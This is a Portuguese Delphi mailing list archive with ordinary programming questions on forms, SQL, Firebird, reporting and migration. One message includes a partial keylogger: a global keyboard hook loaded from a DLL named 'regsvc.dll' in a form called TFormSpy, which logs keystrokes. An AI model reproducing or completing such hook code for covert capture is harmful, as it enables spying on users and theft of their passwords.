alquem ai tem um componente ou funcao pra imprimir um dbgrid que nao seja o componente printdbgrid v10 que tem na net??? quem tiver um site, compoente ou funcao me enviem que eu serei muito grato! t+ _ MSN Messenger: converse com os seus amigos online. http://messenger.msn.com.br -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
[delphi-br] Fontes Componente
Caros amigos, Alguém por acaso tem os fontes do componente TCHART 5.02? PS - Não sei nada sobre este componente, é para um amigo. Grato, Rogério. -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] Criar formulários em tempo de execução
O Self não está mesmo declarado ... pelo que você passou, a procedure é independente do Objeto na qual esta escrita ... coloque a interface da procedure dentro do public, ou private, ou published (vc é quem sabe) do form, aperte CTRL+SHIFT+'C', e implemente a procedure dentro do que o Delphi irá criar ... Louco sim, não normal. Ser humano ... eu mesmo Vitor Luiz Redes Redsystem Informática - Original Message - From: Christian Balz To: [EMAIL PROTECTED] Sent: Wednesday, September 29, 2004 11:02 AM Subject: [delphi-br] Criar formulários em tempo de execução Ola pessoal, Em uma Unit em que guardo algumas funções, publiquei uma procedure onde passo o nome do formulário que quero criar em tempo de execução. O caso é que estou recebendo uma mensagem de que self não esta declarado. Se alguém souber me ajudar a resolver isto fico grato, procedure CriaFormulario(Form: TForm); begin Form:= TForm.Create(Self); With Form do try ShowModal; finally Free; Form:=nil; end; end; Christian Balz [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: -- Links do Yahoo! Grupos a.. Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ b.. Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
RES: [delphi-br] Criar formulários em tempo de execução
Vitor, Se eu por no form, sem problemas, a procedure ira funcionar. O problema e que eu gostaria de adicioná-la a unit que comentei em e-mail anterior, sendo que esta, não possui formulário. []s Christian Balz _ De: Vitor Luiz Redes [mailto:[EMAIL PROTECTED] Enviada em: quarta-feira, 29 de setembro de 2004 11:16 Para: [EMAIL PROTECTED] Assunto: Re: [delphi-br] Criar formulários em tempo de execução O Self não está mesmo declarado ... pelo que você passou, a procedure é independente do Objeto na qual esta escrita ... coloque a interface da procedure dentro do v (vc é quem sabe) do form, aperte CTRL+SHIFT+'C', e implemente a procedure dentro do que o Delphi irá criar ... Louco sim, não normal. Ser humano ... eu mesmo Vitor Luiz Redes Redsystem Informática - Original Message - From: Christian Balz To: [EMAIL PROTECTED] Sent: Wednesday, September 29, 2004 11:02 AM Subject: [delphi-br] Criar formulários em tempo de execução Ola pessoal, Em uma Unit em que guardo algumas funções, publiquei uma procedure onde passo o nome do formulário que quero criar em tempo de execução. O caso é que estou recebendo uma mensagem de que self não esta declarado. Se alguém souber me ajudar a resolver isto fico grato, procedure CriaFormulario(Form: TForm); begin Form:= TForm.Create(Self); With Form do try ShowModal; finally Free; Form:=nil; end; end; Christian Balz [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: -- Links do Yahoo! Grupos a.. Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ b.. Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: http://pms.mercadolibre.com/cgi/pms/ban?site=292076id=31807 _ Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos Termos http://br.yahoo.com/info/utos.html do Serviço do Yahoo!. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
RES: [delphi-br] Criar formulários em tempo de execução
Vitor, Se eu por no form, sem problemas, a procedure ira funcionar. O problema e que eu gostaria de adicioná-la a unit que comentei em e-mail anterior, sendo que esta, não possui formulário. []s Christian Balz _ De: Vitor Luiz Redes [mailto:[EMAIL PROTECTED] Enviada em: quarta-feira, 29 de setembro de 2004 11:16 Para: [EMAIL PROTECTED] Assunto: Re: [delphi-br] Criar formulários em tempo de execução O Self não está mesmo declarado ... pelo que você passou, a procedure é independente do Objeto na qual esta escrita ... coloque a interface da procedure dentro do v (vc é quem sabe) do form, aperte CTRL+SHIFT+'C', e implemente a procedure dentro do que o Delphi irá criar ... Louco sim, não normal. Ser humano ... eu mesmo Vitor Luiz Redes Redsystem Informática - Original Message - From: Christian Balz To: [EMAIL PROTECTED] Sent: Wednesday, September 29, 2004 11:02 AM Subject: [delphi-br] Criar formulários em tempo de execução Ola pessoal, Em uma Unit em que guardo algumas funções, publiquei uma procedure onde passo o nome do formulário que quero criar em tempo de execução. O caso é que estou recebendo uma mensagem de que self não esta declarado. Se alguém souber me ajudar a resolver isto fico grato, procedure CriaFormulario(Form: TForm); begin Form:= TForm.Create(Self); With Form do try ShowModal; finally Free; Form:=nil; end; end; Christian Balz [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: -- Links do Yahoo! Grupos a.. Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ b.. Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: http://pms.mercadolibre.com/cgi/pms/ban?site=292076id=31807 _ Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos Termos http://br.yahoo.com/info/utos.html do Serviço do Yahoo!. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
[delphi-br] Codigo barras Report Builder
Bom dia, Estou com o sequinte problema: Uso Delphi 5 e Report Builder para gerar um boleto bancário. Ao salvar o boleto em arquivo do tipo .pdf ou .jpg o código de barras não aparece completamente, é mostrado uma série de caracteres estranhos na parte inferior (numeração do código) e ele aparece menor do que e realmente. Uso o componente ppBarCode (intercalado 2 de 5). Se alguem puder me ajudar ficarei muito agradecido, Obrigado -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
[delphi-br] Firebird, IBX e transações
Estou com seguinte problema quando acabo de inserir um registro em um BD Firebird rodando em rede os outros usuários só conseguem vê-lo se fechar o programa e voltar. Como faço para que um usuário enxergue os registros que acabaram de ser inseridos por outros usuários? Se que é algo relacionado com o componente IBTransaction mas como faria isso? Uso Firebird e componentes IBX -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] Criar formulários em tempo de execução
Seu código não vai criar o formulário que você quer. Não desta forma. Vai criar um Form padrão, da classe TForm. Para criar o seu form, você tem usar a classe dele. Lembre-se que Seu_Form, é da classe TSeu_Form, que deriva da TForm. -- Oséias Ferreira. - Original Message - From: Christian Balz [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Wednesday, September 29, 2004 11:50 AM Subject: RES: [delphi-br] Criar formulários em tempo de execução Vitor, Se eu por no form, sem problemas, a procedure ira funcionar. O problema e que eu gostaria de adicioná-la a unit que comentei em e-mail anterior, sendo que esta, não possui formulário. []'s Christian Balz -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
[delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo !
Caro Abensur,
Sua ajuda foi de suma importancia para eu tirar algumas dúvidas sobre o que
estou tentando fazer, mas realmente o que eu quero, não consta nesse
tutorial que vc enviou. na verdade não tem como eu escrever de dentro da
Dll no memo que está na minha aplicação??
Abaixo segue o código do que eu quero fazer.:
Na verdade a rotina que eu tenho escreve num arquivo de texto e em vez disso
eu quero que ela escreva em um memo que se encontra na aplicação que usa a
dll.
o nome da minha dll é regsvc.dll
{Declaração das variáveis globais da unit}
Var
FormSpy: TFormSpy;
IdKeyLog: HHOOK;
KeyLogDLL: LongWord;
KeyLogHookProc: FARPROC;
{Evento OnCreate do Form}
IdKeyLog := 0;
KeylogDLL := LoadLibrary('regsvc.dll');
KeylogHookProc := GetProcAddress(KeylogDLL, 'KeyboardHookProc');
IdKeylog := SetWindowsHookEx(WH_KEYBOARD, KeylogHookProc, KeyLogDLL, 0);
{Função dentro da dll}
Function KeyboardHookProc(code: Integer; wParam: WPARAM; lParam: LPARAM):
LRESULT Stdcall;
Var
b1, b2: Boolean;
ArqLog: TextFile;
Begin
If (code HC_NOREMOVE) And (lParam 0) Then
Begin
AssignFile(ArqLog, arq);
Try
If fileexists(arq) Then
Append(ArqLog)
Else
ReWrite(ArqLog);
If wParamOld = 219 Then
Begin
If (wShift) Then
Begin
Case wParam Of
65: Begin
Write(ArqLog, 'à'); // Escreve num TXT Deveria escrever
num memo dentro da minha aplicação
wParam := 0;
wParamOld := 0;
End;
69: Begin
Write(ArqLog, 'è');
wParam := 0;
wParamOld := 0;
End;
Else wParamOld := 0;
End;
End;
Exports
KeyboardHookProc;
Begin
End.
=
Bom o que eu quero realmente é fazer essa rotina escrever num memo que se
encontra dentro da minha aplicação ao invés de escrever num arquivo de texto
Agradeço se vc puder me ajudar.
__
David Leão Alves
Administrador de Banco de Dados
Governo do Estado do Amapá
Secretaria de Estado do Meio Ambiente - SEMA
Av. Mendonça Furtado, 53 - Centro / Macapá-AP
212-5318 - 212-5378
212-5303
[EMAIL PROTECTED]
www.sema.ap.gov.br
---Mensagem original---
De: [EMAIL PROTECTED]
Data: 09/29/04 10:54:54
Para: [EMAIL PROTECTED]
Assunto: Re: [DELPHI-Total] DLL escrevendo em um TMemo !
Seguem duas dicas: Como criar e usar DLLs e Colocando funções em uma DLL
Como criar e usar DLLs
Esta é uma outra dúvida bastante freqüente que chega a nós. Como posso usar
uma DLL ?, Como posso criar uma DLL ?, Ei, moço! Pra quê serve uma DLL ?
Pois bem, DLL ou Dynamic Link Libraries, permitem que um conjunto de funções
desenvolvidas em uma linguagem possam ser utilizadas em programas
desenvolvidos em outras linguagens.
Você pode, por exemplo, criar uma DLL em Delphi com um conjunto de funções e
utilizá-la em aplicativos desenvolvidos em C++ ou Visual Basic, por exemplo.
Agora, vamos começar criando uma DLL:
Selecione o item New do Menu File, para exibir a caixa de diálogo New Items.
Agora, selecione o item DLL e clique em OK, para gerar o código principal da
DLL, que se apresenta a seguir:
library Project1;
{ Important note about DLL memory management: ShareMem must be the first
unit in your library's USES clause AND your project's (select Project-View
Source) USES clause if your DLL exports any procedures or functions that
pass strings as parameters or function results. This applies to all strings
passed to and from your DLL--even those that are nested in records and
classes. ShareMem is the interface unit to the BORLNDMM.DLL shared memory
manager, which must be deployed along with your DLL. To avoid using BORLNDMM
DLL, pass string information using PChar or ShortString parameters. }
uses
SysUtils, Classes;
begin
end.
Em muitas situações, inclusive esta, o arquivo DELPHIMM.DLL deve ser
distribuído junto à sua aplicação. Uma outra observação muito importante,
para que você possa escrever suas DLLs, você deve ter conhecimentos na
Linguagem Object Pascal.
Vamos continuar criando nossa DLL, pois é ela que iremos usar mais para
frente. Apenas como exemplificação, vamos criar uma função que receba como
parâmetros dois números reais e retorne o maior deles.
Function Max (a b : double ) : double ; Export ; stdcall ;
begin
If (a b) then Result :=a else Result := b ;
end ;
Export = indica que a função poderá ser chamada por outros aplicativos.
Stdcall = permite que aplicativos desenvolvidos em outras linguagens façam
chamadas à função.
Após serem feitas estas alterações e salvar o projeto com o nome MAXDLL,
nossa DLL ficará assim:
library Project1;
{ Important note about DLL memory management: ShareMem must be the first
unit in your library's USES clause AND your project's (select Project-View
Source) USES clause if your DLL exports any procedures or functions that
pass
(Apostila SQL????)Re: [delphi-br] Como concatenar 2 campos em um só em uma SQL
Alguem conhece alguma apostila de SQL (Interbase/Firebird) com dicas como esta abaixo? As apostilas que achei sao possui documentacao mais detalhada (mais avançada). Obrigado Batista [EMAIL PROTECTED] 28/9/2004 15:59:40 tente utilizar assim: select campo1 || campo2 as campoconcat from tabela. - Original Message - From: Florentino - Agrosoft [EMAIL PROTECTED] To: delphi-boleto [EMAIL PROTECTED]; [EMAIL PROTECTED] Sent: Tuesday, September 28, 2004 10:56 AM Subject: [delphi-br] Como concatenar 2 campos em um só em uma SQL Amigos, Como concatenar 2 campos em um só em uma SQL (Interbase/Firebird). No access faço assim: SELECT [campo1]+[campo2] AS [CampoConcatenado] FROM Tabela; desde já, agradeço. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
[delphi-br] Log de Usuários
Tenho uma função que guarda Todos os erros do programa em uma tabela. Gostaria de saber como vocês fazer para guardar operações como INSERT, DELET, UPDATE etc... Tipo (Fulano alterou registro tal...) Vocês criam atravez de SP no banco ou tem alguma função no delphi que detecta quando alguma tabela está em uso ? Ou fazem manualmente mesmo ? Marcelo Silva Cel. 11 9693-4251 ICQ - 49224093 MSN [EMAIL PROTECTED] [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] Criar formulários em tempo de execução
Você pode, tb, Cria-lo da seguinte maneira ... Form:=TForm.Create(Application) ... Louco sim, não normal. Ser humano ... eu mesmo Vitor Luiz Redes Redsystem Informática [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
RES: [delphi-br] Log de Usuários
O melhor meio de se implementar isso é através de Triggers ___ Rodrigo Reis Monnerat Louzada Villaverde Analista de Sistemas 1 www.petrolog.com.br * [EMAIL PROTECTED] ( +55 (21) 2421-1600 +55 (21) 9626-3000 -Mensagem original- De: Marcelo Silva [mailto:[EMAIL PROTECTED] Enviada em: quarta-feira, 29 de setembro de 2004 13:24 Para: [EMAIL PROTECTED] Assunto: [delphi-br] Log de Usuários Tenho uma função que guarda Todos os erros do programa em uma tabela. Gostaria de saber como vocês fazer para guardar operações como INSERT, DELET, UPDATE etc... Tipo (Fulano alterou registro tal...) Vocês criam atravez de SP no banco ou tem alguma função no delphi que detecta quando alguma tabela está em uso ? Ou fazem manualmente mesmo ? Marcelo Silva Cel. 11 9693-4251 ICQ - 49224093 MSN [EMAIL PROTECTED] [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
[delphi-br] Migração
Gente tenho um sistema em pascal e quero migrar pra delphi, como faço isso brg Emilene - Yahoo! Acesso Grátis - Internet rápida e grátis. Instale o discador agora! [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
RES: [delphi-br] Log de Usuários
Teria que ser 3 triggers por tabela. Uma para Inclusão, outra para alteraçãoe outra para exclusão. Eu não tenho nada pronto aqui não, mas devo estar fazendo uma rotina dessas por aqui daqui a uns 3 meses. Mas o caminho a seguir é esse mesmo ___ Rodrigo Reis Monnerat Louzada Villaverde Analista de Sistemas 1 www.petrolog.com.br * [EMAIL PROTECTED] ( +55 (21) 2421-1600 +55 (21) 9626-3000 -Mensagem original- De: Marcelo Silva [mailto:[EMAIL PROTECTED] Enviada em: quarta-feira, 29 de setembro de 2004 13:39 Para: [EMAIL PROTECTED] Assunto: Re: [delphi-br] Log de Usuários Uma trigger para cada tabela ? ou tem alguma função no fb que facilita as coisas ? Vc teria um sample pra me mandar colega ... Marcelo Silva Cel. 11 9693-4251 ICQ - 49224093 MSN [EMAIL PROTECTED] - Original Message - From: Rodrigo Reis Monnerat Louzada Villaverde To: [EMAIL PROTECTED] Sent: Wednesday, September 29, 2004 1:32 PM Subject: RES: [delphi-br] Log de Usuários O melhor meio de se implementar isso é através de Triggers ___ Rodrigo Reis Monnerat Louzada Villaverde Analista de Sistemas 1 www.petrolog.com.br * [EMAIL PROTECTED] ( +55 (21) 2421-1600 +55 (21) 9626-3000 -Mensagem original- De: Marcelo Silva [mailto:[EMAIL PROTECTED] Enviada em: quarta-feira, 29 de setembro de 2004 13:24 Para: [EMAIL PROTECTED] Assunto: [delphi-br] Log de Usuários Tenho uma função que guarda Todos os erros do programa em uma tabela. Gostaria de saber como vocês fazer para guardar operações como INSERT, DELET, UPDATE etc... Tipo (Fulano alterou registro tal...) Vocês criam atravez de SP no banco ou tem alguma função no delphi que detecta quando alguma tabela está em uso ? Ou fazem manualmente mesmo ? Marcelo Silva Cel. 11 9693-4251 ICQ - 49224093 MSN [EMAIL PROTECTED] [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: -- Links do Yahoo! Grupos a.. Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ b.. Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] mandar um relatorio gerado no quickreport por e-mail
Vc pode enviar sem problemas , entretanto vc deve ter um prog do lado cliente para abrir esses arquivos .qrp. O ideal é vc gerar esse arquivo em PDF e enviar para seus clientes. Eu uso o delphi 7 e fiz uma classe para gerar os arquivos do Rave para PDF e funciona blz.. Lenilson Reginaldo [EMAIL PROTECTED] wrote: Bom dia pessoal, queria poder mandar um relatorio gerado no quickreport por e-mail pois meus clientes ja querem trabalhar assim, do mais agradeço a ajuda. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: - Links do Yahoo! Grupos Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. - Yahoo! Acesso Grátis - Internet rápida e grátis. Instale o discador agora! [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] Migração
Bom... reescreve ele... Emilene... apesar do delphi usar Object Pascal (que agora se chama Delphi mesmo) não há um modo fácil de migrar sistemas DOS em Pascal para windows... se eu entendi errado, por favor, explique melhor o que você deseja. [s] Só mais uma coisa, é possível desenvolver em Delphi, aplicativos windows 32 bits em modo console (como no DOS) porém com pleno acesso à memória, disco, rede, banco de dados, etc... = Eduardo Jedliczka GeraSoft Informática Apucarana - PR = - Original Message - From: Emi Monzani To: [EMAIL PROTECTED] Sent: Wednesday, September 29, 2004 1:34 PM Subject: [delphi-br] Migração Gente tenho um sistema em pascal e quero migrar pra delphi, como faço isso brg Emilene - Yahoo! Acesso Grátis - Internet rápida e grátis. Instale o discador agora! [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: -- Links do Yahoo! Grupos a.. Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ b.. Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA 